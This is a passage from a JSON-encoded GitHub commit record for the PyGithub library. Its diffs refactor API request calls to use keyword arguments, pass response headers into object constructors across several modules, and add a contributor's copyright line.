)\n- return github.Team.Team(self._requester, data, completed=True)\n+ return github.Team.Team(self._requester, headers, data, completed=True)\n \n def edit(self, billing_email=github.GithubObject.NotSet, blog=github.GithubObject.NotSet, company=github.GithubObject.NotSet, email=github.GithubObject.NotSet, location=github.GithubObject.NotSet, name=github.GithubObject.NotSet):\n \"\"\"\n@@ -379,8 +375,7 @@ def edit(self, billing_email=github.GithubObject.NotSet, blog=github.GithubObjec\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n self.url,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n \n@@ -467,11 +462,9 @@ def get_repo(self, name):\n assert isinstance(name, str), name\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- \"/repos/\" + self.login + \"/\" + name,\n- None,\n- None\n+ \"/repos/\" + self.login + \"/\" + name\n )\n- return github.Repository.Repository(self._requester, data, completed=True)\n+ return github.Repository.Repository(self._requester, headers, data, completed=True)\n \n def get_repos(self, type=github.GithubObject.NotSet):\n \"\"\"\n@@ -499,11 +492,9 @@ def get_team(self, id):\n assert isinstance(id, (int, long)), id\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- \"/teams/\" + str(id),\n- None,\n- None\n+ \"/teams/\" + str(id)\n )\n- return github.Team.Team(self._requester, data, completed=True)\n+ return github.Team.Team(self._requester, headers, data, completed=True)\n \n def get_teams(self):\n \"\"\"\n@@ -526,9 +517,7 @@ def has_in_members(self, member):\n assert isinstance(member, github.NamedUser.NamedUser), member\n status, headers, data = self._requester.requestJson(\n \"GET\",\n- self.url + \"/members/\" + member._identity,\n- None,\n- None\n+ self.url + \"/members/\" + member._identity\n )\n return status == 204\n \n@@ -541,9 +530,7 @@ def has_in_public_members(self, public_member):\n assert isinstance(public_member, github.NamedUser.NamedUser), public_member\n status, headers, data = self._requester.requestJson(\n \"GET\",\n- self.url + \"/public_members/\" + public_member._identity,\n- None,\n- None\n+ self.url + \"/public_members/\" + public_member._identity\n )\n return status == 204\n \n@@ -556,9 +543,7 @@ def remove_from_members(self, member):\n assert isinstance(member, github.NamedUser.NamedUser), member\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url + \"/members/\" + member._identity,\n- None,\n- None\n+ self.url + \"/members/\" + member._identity\n )\n \n def remove_from_public_members(self, public_member):\n@@ -570,9 +555,7 @@ def remove_from_public_members(self, public_member):\n assert isinstance(public_member, github.NamedUser.NamedUser), public_member\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url + \"/public_members/\" + public_member._identity,\n- None,\n- None\n+ self.url + \"/public_members/\" + public_member._identity\n )\n \n def _initAttributes(self):\n@@ -655,7 +638,7 @@ def _useAttributes(self, attributes):\n self._owned_private_repos = attributes[\"owned_private_repos\"]\n if \"plan\" in attributes: # pragma no branch\n assert attributes[\"plan\"] is None or isinstance(attributes[\"plan\"], dict), attributes[\"plan\"]\n- self._plan = None if attributes[\"plan\"] is None else github.Plan.Plan(self._requester, attributes[\"plan\"], completed=False)\n+ self._plan = None if attributes[\"plan\"] is None else github.Plan.Plan(self._requester, self._headers, attributes[\"plan\"], completed=False)\n if \"private_gists\" in attributes: # pragma no branch\n assert attributes[\"private_gists\"] is None or isinstance(attributes[\"private_gists\"], (int, long)), attributes[\"private_gists\"]\n self._private_gists = attributes[\"private_gists\"]"},{"sha":"4c22b991def262d6e5032a708ba610f65417f1b9","filename":"github/PaginatedList.py","status":"modified","additions":18,"deletions":5,"changes":23,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/PaginatedList.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/PaginatedList.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/PaginatedList.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Bill Mill #\n # Copyright 2013 Vincent Jacques #\n # Copyright 2013 davidbrai #\n@@ -118,7 +119,11 @@ def __init__(self, contentClass, requester, firstUrl, firstParams):\n self._reversed = False\n \n def _getLastPageUrl(self):\n- headers, data = self.__requester.requestJsonAndCheck(\"GET\", self.__firstUrl, self.__nextParams, None)\n+ headers, data = self.__requester.requestJsonAndCheck(\n+ \"GET\",\n+ self.__firstUrl,\n+ parameters=self.__nextParams\n+ )\n links = self.__parseLinkHeader(headers)\n lastUrl = links.get(\"last\")\n return lastUrl\n@@ -139,7 +144,11 @@ def _couldGrow(self):\n return self.__nextUrl is not None\n \n def _fetchNextPage(self):\n- headers, data = self.__requester.requestJsonAndCheck(\"GET\", self.__nextUrl, self.__nextParams, None)\n+ headers, data = self.__requester.requestJsonAndCheck(\n+ \"GET\",\n+ self.__nextUrl,\n+ parameters=self.__nextParams\n+ )\n \n self.__nextUrl = None\n if len(data) > 0:\n@@ -152,7 +161,7 @@ def _fetchNextPage(self):\n self.__nextParams = None\n \n content = [\n- self.__contentClass(self.__requester, element, completed=False)\n+ self.__contentClass(self.__requester, headers, element, completed=False)\n for element in data\n ]\n if self._reversed:\n@@ -176,9 +185,13 @@ def get_page(self, page):\n params[\"page\"] = page + 1\n if self.__requester.per_page != 30:\n params[\"per_page\"] = self.__requester.per_page\n- headers, data = self.__requester.requestJsonAndCheck(\"GET\", self.__firstUrl, params, None)\n+ headers, data = self.__requester.requestJsonAndCheck(\n+ \"GET\",\n+ self.__firstUrl,\n+ parameters=params\n+ )\n \n return [\n- self.__contentClass(self.__requester, element, completed=False)\n+ self.__contentClass(self.__requester, headers, element, completed=False)\n for element in data\n ]"},{"sha":"3a3b420615062ee9e8a4fff31b65bd575c65d5a9","filename":"github/Permissions.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Permissions.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Permissions.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Permissions.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #"},{"sha":"99a3c3a6d9b4bef7b9bc78f0bd247a4083a2285e","filename":"github/Plan.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Plan.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Plan.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Plan.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #"},{"sha":"85867c60e0f888692b9410f45be43cb69528ca0b","filename":"github/PullRequest.py","status":"modified","additions":18,"deletions":27,"changes":45,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/PullRequest.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/PullRequest.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/PullRequest.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -5,6 +5,7 @@\n # Copyright 2012 Michael Stead #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # Copyright 2013 martinqt #\n # #\n@@ -291,10 +292,9 @@ def create_review_comment(self, body, commit_id, path, position):\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/comments\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.PullRequestComment.PullRequestComment(self._requester, data, completed=True)\n+ return github.PullRequestComment.PullRequestComment(self._requester, headers, data, completed=True)\n \n def create_issue_comment(self, body):\n \"\"\"\n@@ -309,10 +309,9 @@ def create_issue_comment(self, body):\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self._parentUrl(self._parentUrl(self.url)) + \"/issues/\" + str(self.number) + \"/comments\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.IssueComment.IssueComment(self._requester, data, completed=True)\n+ return github.IssueComment.IssueComment(self._requester, headers, data, completed=True)\n \n def edit(self, title=github.GithubObject.NotSet, body=github.GithubObject.NotSet, state=github.GithubObject.NotSet):\n \"\"\"\n@@ -335,8 +334,7 @@ def edit(self, title=github.GithubObject.NotSet, body=github.GithubObject.NotSet\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n self.url,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n \n@@ -357,11 +355,9 @@ def get_review_comment(self, id):\n assert isinstance(id, (int, long)), id\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self._parentUrl(self.url) + \"/comments/\" + str(id),\n- None,\n- None\n+ self._parentUrl(self.url) + \"/comments/\" + str(id)\n )\n- return github.PullRequestComment.PullRequestComment(self._requester, data, completed=True)\n+ return github.PullRequestComment.PullRequestComment(self._requester, headers, data, completed=True)\n \n def get_comments(self):\n \"\"\"\n@@ -415,11 +411,9 @@ def get_issue_comment(self, id):\n assert isinstance(id, (int, long)), id\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self._parentUrl(self._parentUrl(self.url)) + \"/issues/comments/\" + str(id),\n- None,\n- None\n+ self._parentUrl(self._parentUrl(self.url)) + \"/issues/comments/\" + str(id)\n )\n- return github.IssueComment.IssueComment(self._requester, data, completed=True)\n+ return github.IssueComment.IssueComment(self._requester, headers, data, completed=True)\n \n def get_issue_comments(self):\n \"\"\"\n@@ -440,9 +434,7 @@ def is_merged(self):\n \"\"\"\n status, headers, data = self._requester.requestJson(\n \"GET\",\n- self.url + \"/merge\",\n- None,\n- None\n+ self.url + \"/merge\"\n )\n return status == 204\n \n@@ -459,10 +451,9 @@ def merge(self, commit_message=github.GithubObject.NotSet):\n headers, data = self._requester.requestJsonAndCheck(\n \"PUT\",\n self.url + \"/merge\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.PullRequestMergeStatus.PullRequestMergeStatus(self._requester, data, completed=True)\n+ return github.PullRequestMergeStatus.PullRequestMergeStatus(self._requester, headers, data, completed=True)\n \n def _initAttributes(self):\n self._additions = github.GithubObject.NotSet\n@@ -499,10 +490,10 @@ def _useAttributes(self, attributes):\n self._additions = attributes[\"additions\"]\n if \"assignee\" in attributes: # pragma no branch\n assert attributes[\"assignee\"] is None or isinstance(attributes[\"assignee\"], dict), attributes[\"assignee\"]\n- self._assignee = None if attributes[\"assignee\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"assignee\"], completed=False)\n+ self._assignee = None if attributes[\"assignee\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"assignee\"], completed=False)\n if \"base\" in attributes: # pragma no branch\n assert attributes[\"base\"] is None or isinstance(attributes[\"base\"], dict), attributes[\"base\"]\n- self._base = None if attributes[\"base\"] is None else github.PullRequestPart.PullRequestPart(self._requester, attributes[\"base\"], completed=False)\n+ self._base = None if attributes[\"base\"] is None else github.PullRequestPart.PullRequestPart(self._requester, self._headers, attributes[\"base\"], completed=False)\n if \"body\" in attributes: # pragma no branch\n assert attributes[\"body\"] is None or isinstance(attributes[\"body\"], str), attributes[\"body\"]\n self._body = attributes[\"body\"]\n@@ -529,7 +520,7 @@ def _useAttributes(self, attributes):\n self._diff_url = attributes[\"diff_url\"]\n if \"head\" in attributes: # pragma no branch\n assert attributes[\"head\"] is None or isinstance(attributes[\"head\"], dict), attributes[\"head\"]\n- self._head = None if attributes[\"head\"] is None else github.PullRequestPart.PullRequestPart(self._requester, attributes[\"head\"], completed=False)\n+ self._head = None if attributes[\"head\"] is None else github.PullRequestPart.PullRequestPart(self._requester, self._headers, attributes[\"head\"], completed=False)\n if \"html_url\" in attributes: # pragma no branch\n assert attributes[\"html_url\"] is None or isinstance(attributes[\"html_url\"], str), attributes[\"html_url\"]\n self._html_url = attributes[\"html_url\"]\n@@ -550,7 +541,7 @@ def _useAttributes(self, attributes):\n self._merged_at = self._parseDatetime(attributes[\"merged_at\"])\n if \"merged_by\" in attributes: # pragma no branch\n assert attributes[\"merged_by\"] is None or isinstance(attributes[\"merged_by\"], dict), attributes[\"merged_by\"]\n- self._merged_by = None if attributes[\"merged_by\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"merged_by\"], completed=False)\n+ self._merged_by = None if attributes[\"merged_by\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"merged_by\"], completed=False)\n if \"number\" in attributes: # pragma no branch\n assert attributes[\"number\"] is None or isinstance(attributes[\"number\"], (int, long)), attributes[\"number\"]\n self._number = attributes[\"number\"]\n@@ -574,4 +565,4 @@ def _useAttributes(self, attributes):\n self._url = attributes[\"url\"]\n if \"user\" in attributes: # pragma no branch\n assert attributes[\"user\"] is None or isinstance(attributes[\"user\"], dict), attributes[\"user\"]\n- self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"user\"], completed=False)\n+ self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"user\"], completed=False)"},{"sha":"1e96426e98b1f17f5ec26185257276cafabb376b","filename":"github/PullRequestComment.py","status":"modified","additions":4,"deletions":6,"changes":10,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/PullRequestComment.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/PullRequestComment.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/PullRequestComment.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Michael Stead #\n # Copyright 2013 Vincent Jacques #\n # Copyright 2013 martinqt #\n@@ -138,9 +139,7 @@ def delete(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url,\n- None,\n- None\n+ self.url\n )\n \n def edit(self, body):\n@@ -156,8 +155,7 @@ def edit(self, body):\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n self.url,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n \n@@ -211,4 +209,4 @@ def _useAttributes(self, attributes):\n self._html_url = attributes[\"html_url\"]\n if \"user\" in attributes: # pragma no branch\n assert attributes[\"user\"] is None or isinstance(attributes[\"user\"], dict), attributes[\"user\"]\n- self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"user\"], completed=False)\n+ self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"user\"], completed=False)"},{"sha":"9c416dbd5a260662bca2f7d8d3725e87f822ae06","filename":"github/PullRequestMergeStatus.py","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/PullRequestMergeStatus.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/PullRequestMergeStatus.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/PullRequestMergeStatus.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # Copyright 2013 martinqt #\n # #"},{"sha":"791452b028bd4d1a970b78581b849bb755be2efa","filename":"github/PullRequestPart.py","status":"modified","additions":3,"deletions":2,"changes":5,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/PullRequestPart.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/PullRequestPart.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/PullRequestPart.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # #\n # This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n@@ -85,10 +86,10 @@ def _useAttributes(self, attributes):\n self._ref = attributes[\"ref\"]\n if \"repo\" in attributes: # pragma no branch\n assert attributes[\"repo\"] is None or isinstance(attributes[\"repo\"], dict), attributes[\"repo\"]\n- self._repo = None if attributes[\"repo\"] is None else github.Repository.Repository(self._requester, attributes[\"repo\"], completed=False)\n+ self._repo = None if attributes[\"repo\"] is None else github.Repository.Repository(self._requester, self._headers, attributes[\"repo\"], completed=False)\n if \"sha\" in attributes: # pragma no branch\n assert attributes[\"sha\"] is None or isinstance(attributes[\"sha\"], str), attributes[\"sha\"]\n self._sha = attributes[\"sha\"]\n if \"user\" in attributes: # pragma no branch\n assert attributes[\"user\"] is None or isinstance(attributes[\"user\"], dict), attributes[\"user\"]\n- self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"user\"], completed=False)\n+ self._user = None if attributes[\"user\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"user\"], completed=False)"},{"sha":"7eb3d235917b3a63e8d31caefae5cba981a25134","filename":"github/Repository.py","status":"modified","additions":85,"deletions":152,"changes":237,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Repository.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Repository.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Repository.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -7,6 +7,7 @@\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n # Copyright 2013 Adrian Petrescu #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Mark Roddy #\n # Copyright 2013 Vincent Jacques #\n # Copyright 2013 martinqt #\n@@ -316,9 +317,7 @@ def add_to_collaborators(self, collaborator):\n assert isinstance(collaborator, github.NamedUser.NamedUser), collaborator\n headers, data = self._requester.requestJsonAndCheck(\n \"PUT\",\n- self.url + \"/collaborators/\" + collaborator._identity,\n- None,\n- None\n+ self.url + \"/collaborators/\" + collaborator._identity\n )\n \n def compare(self, base, head):\n@@ -332,11 +331,9 @@ def compare(self, base, head):\n assert isinstance(head, str), head\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + \"/compare/\" + base + \"...\" + head,\n- None,\n- None\n+ self.url + \"/compare/\" + base + \"...\" + head\n )\n- return github.Comparison.Comparison(self._requester, data, completed=True)\n+ return github.Comparison.Comparison(self._requester, headers, data, completed=True)\n \n def create_download(self, name, size, description=github.GithubObject.NotSet, content_type=github.GithubObject.NotSet):\n \"\"\"\n@@ -362,10 +359,9 @@ def create_download(self, name, size, description=github.GithubObject.NotSet, co\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/downloads\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.Download.Download(self._requester, data, completed=True)\n+ return github.Download.Download(self._requester, headers, data, completed=True)\n \n def create_git_blob(self, content, encoding):\n \"\"\"\n@@ -383,10 +379,9 @@ def create_git_blob(self, content, encoding):\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/git/blobs\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.GitBlob.GitBlob(self._requester, data, completed=True)\n+ return github.GitBlob.GitBlob(self._requester, headers, data, completed=True)\n \n def create_git_commit(self, message, tree, parents, author=github.GithubObject.NotSet, committer=github.GithubObject.NotSet):\n \"\"\"\n@@ -415,10 +410,9 @@ def create_git_commit(self, message, tree, parents, author=github.GithubObject.N\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/git/commits\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.GitCommit.GitCommit(self._requester, data, completed=True)\n+ return github.GitCommit.GitCommit(self._requester, headers, data, completed=True)\n \n def create_git_ref(self, ref, sha):\n \"\"\"\n@@ -436,10 +430,9 @@ def create_git_ref(self, ref, sha):\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/git/refs\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.GitRef.GitRef(self._requester, data, completed=True)\n+ return github.GitRef.GitRef(self._requester, headers, data, completed=True)\n \n def create_git_tag(self, tag, message, object, type, tagger=github.GithubObject.NotSet):\n \"\"\"\n@@ -467,10 +460,9 @@ def create_git_tag(self, tag, message, object, type, tagger=github.GithubObject.\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/git/tags\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.GitTag.GitTag(self._requester, data, completed=True)\n+ return github.GitTag.GitTag(self._requester, headers, data, completed=True)\n \n def create_git_tree(self, tree, base_tree=github.GithubObject.NotSet):\n \"\"\"\n@@ -489,10 +481,9 @@ def create_git_tree(self, tree, base_tree=github.GithubObject.NotSet):\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/git/trees\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.GitTree.GitTree(self._requester, data, completed=True)\n+ return github.GitTree.GitTree(self._requester, headers, data, completed=True)\n \n def create_hook(self, name, config, events=github.GithubObject.NotSet, active=github.GithubObject.NotSet):\n \"\"\"\n@@ -518,10 +509,9 @@ def create_hook(self, name, config, events=github.GithubObject.NotSet, active=gi\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/hooks\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.Hook.Hook(self._requester, data, completed=True)\n+ return github.Hook.Hook(self._requester, headers, data, completed=True)\n \n def create_issue(self, title, body=github.GithubObject.NotSet, assignee=github.GithubObject.NotSet, milestone=github.GithubObject.NotSet, labels=github.GithubObject.NotSet):\n \"\"\"\n@@ -552,10 +542,9 @@ def create_issue(self, title, body=github.GithubObject.NotSet, assignee=github.G\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/issues\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.Issue.Issue(self._requester, data, completed=True)\n+ return github.Issue.Issue(self._requester, headers, data, completed=True)\n \n def create_key(self, title, key):\n \"\"\"\n@@ -573,10 +562,9 @@ def create_key(self, title, key):\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/keys\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.RepositoryKey.RepositoryKey(self._requester, data, completed=True, repoUrl=self._url)\n+ return github.RepositoryKey.RepositoryKey(self._requester, headers, data, completed=True, repoUrl=self._url)\n \n def create_label(self, name, color):\n \"\"\"\n@@ -594,10 +582,9 @@ def create_label(self, name, color):\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/labels\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.Label.Label(self._requester, data, completed=True)\n+ return github.Label.Label(self._requester, headers, data, completed=True)\n \n def create_milestone(self, title, state=github.GithubObject.NotSet, description=github.GithubObject.NotSet, due_on=github.GithubObject.NotSet):\n \"\"\"\n@@ -624,10 +611,9 @@ def create_milestone(self, title, state=github.GithubObject.NotSet, description=\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/milestones\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.Milestone.Milestone(self._requester, data, completed=True)\n+ return github.Milestone.Milestone(self._requester, headers, data, completed=True)\n \n def create_pull(self, *args, **kwds):\n \"\"\"\n@@ -662,10 +648,9 @@ def __create_pull(self, **kwds):\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/pulls\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n- return github.PullRequest.PullRequest(self._requester, data, completed=True)\n+ return github.PullRequest.PullRequest(self._requester, headers, data, completed=True)\n \n def delete(self):\n \"\"\"\n@@ -674,9 +659,7 @@ def delete(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url,\n- None,\n- None\n+ self.url\n )\n \n def edit(self, name, description=github.GithubObject.NotSet, homepage=github.GithubObject.NotSet, public=github.GithubObject.NotSet, has_issues=github.GithubObject.NotSet, has_wiki=github.GithubObject.NotSet, has_downloads=github.GithubObject.NotSet, default_branch=github.GithubObject.NotSet):\n@@ -720,8 +703,7 @@ def edit(self, name, description=github.GithubObject.NotSet, homepage=github.Git\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n self.url,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n \n@@ -739,9 +721,7 @@ def get_archive_link(self, archive_format, ref=github.GithubObject.NotSet):\n url += \"/\" + ref\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- url,\n- None,\n- None\n+ url\n )\n return headers[\"location\"]\n \n@@ -766,11 +746,9 @@ def get_branch(self, branch):\n assert isinstance(branch, str), branch\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + \"/branches/\" + branch,\n- None,\n- None\n+ self.url + \"/branches/\" + branch\n )\n- return github.Branch.Branch(self._requester, data, completed=True)\n+ return github.Branch.Branch(self._requester, headers, data, completed=True)\n \n def get_branches(self):\n \"\"\"\n@@ -805,11 +783,9 @@ def get_comment(self, id):\n assert isinstance(id, (int, long)), id\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + \"/comments/\" + str(id),\n- None,\n- None\n+ self.url + \"/comments/\" + str(id)\n )\n- return github.CommitComment.CommitComment(self._requester, data, completed=True)\n+ return github.CommitComment.CommitComment(self._requester, headers, data, completed=True)\n \n def get_comments(self):\n \"\"\"\n@@ -832,11 +808,9 @@ def get_commit(self, sha):\n assert isinstance(sha, str), sha\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + \"/commits/\" + sha,\n- None,\n- None\n+ self.url + \"/commits/\" + sha\n )\n- return github.Commit.Commit(self._requester, data, completed=True)\n+ return github.Commit.Commit(self._requester, headers, data, completed=True)\n \n def get_commits(self, sha=github.GithubObject.NotSet, path=github.GithubObject.NotSet, since=github.GithubObject.NotSet, until=github.GithubObject.NotSet):\n \"\"\"\n@@ -891,10 +865,9 @@ def get_contents(self, path, ref=github.GithubObject.NotSet):\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n self.url + \"/contents\" + path,\n- url_parameters,\n- None\n+ parameters=url_parameters\n )\n- return github.ContentFile.ContentFile(self._requester, data, completed=True)\n+ return github.ContentFile.ContentFile(self._requester, headers, data, completed=True)\n \n def get_dir_contents(self, path, ref=github.GithubObject.NotSet):\n \"\"\"\n@@ -911,8 +884,7 @@ def get_dir_contents(self, path, ref=github.GithubObject.NotSet):\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n self.url + \"/contents\" + path,\n- url_parameters,\n- None\n+ parameters=url_parameters\n )\n \n # Handle 302 redirect response\n@@ -920,12 +892,11 @@ def get_dir_contents(self, path, ref=github.GithubObject.NotSet):\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n headers['location'],\n- url_parameters,\n- None\n+ parameters=url_parameters\n )\n \n return [\n- github.ContentFile.ContentFile(self._requester, attributes, completed=(attributes[\"type\"] != \"file\")) # Lazy completion only makes sense for files. See discussion here: https://github.com/jacquev6/PyGithub/issues/140#issuecomment-13481130\n+ github.ContentFile.ContentFile(self._requester, headers, attributes, completed=(attributes[\"type\"] != \"file\")) # Lazy completion only makes sense for files. See discussion here: https://github.com/jacquev6/PyGithub/issues/140#issuecomment-13481130\n for attributes in data\n ]\n \n@@ -950,11 +921,9 @@ def get_download(self, id):\n assert isinstance(id, (int, long)), id\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + \"/downloads/\" + str(id),\n- None,\n- None\n+ self.url + \"/downloads/\" + str(id)\n )\n- return github.Download.Download(self._requester, data, completed=True)\n+ return github.Download.Download(self._requester, headers, data, completed=True)\n \n def get_downloads(self):\n \"\"\"\n@@ -1001,11 +970,9 @@ def get_git_blob(self, sha):\n assert isinstance(sha, str), sha\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + \"/git/blobs/\" + sha,\n- None,\n- None\n+ self.url + \"/git/blobs/\" + sha\n )\n- return github.GitBlob.GitBlob(self._requester, data, completed=True)\n+ return github.GitBlob.GitBlob(self._requester, headers, data, completed=True)\n \n def get_git_commit(self, sha):\n \"\"\"\n@@ -1016,11 +983,9 @@ def get_git_commit(self, sha):\n assert isinstance(sha, str), sha\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + \"/git/commits/\" + sha,\n- None,\n- None\n+ self.url + \"/git/commits/\" + sha\n )\n- 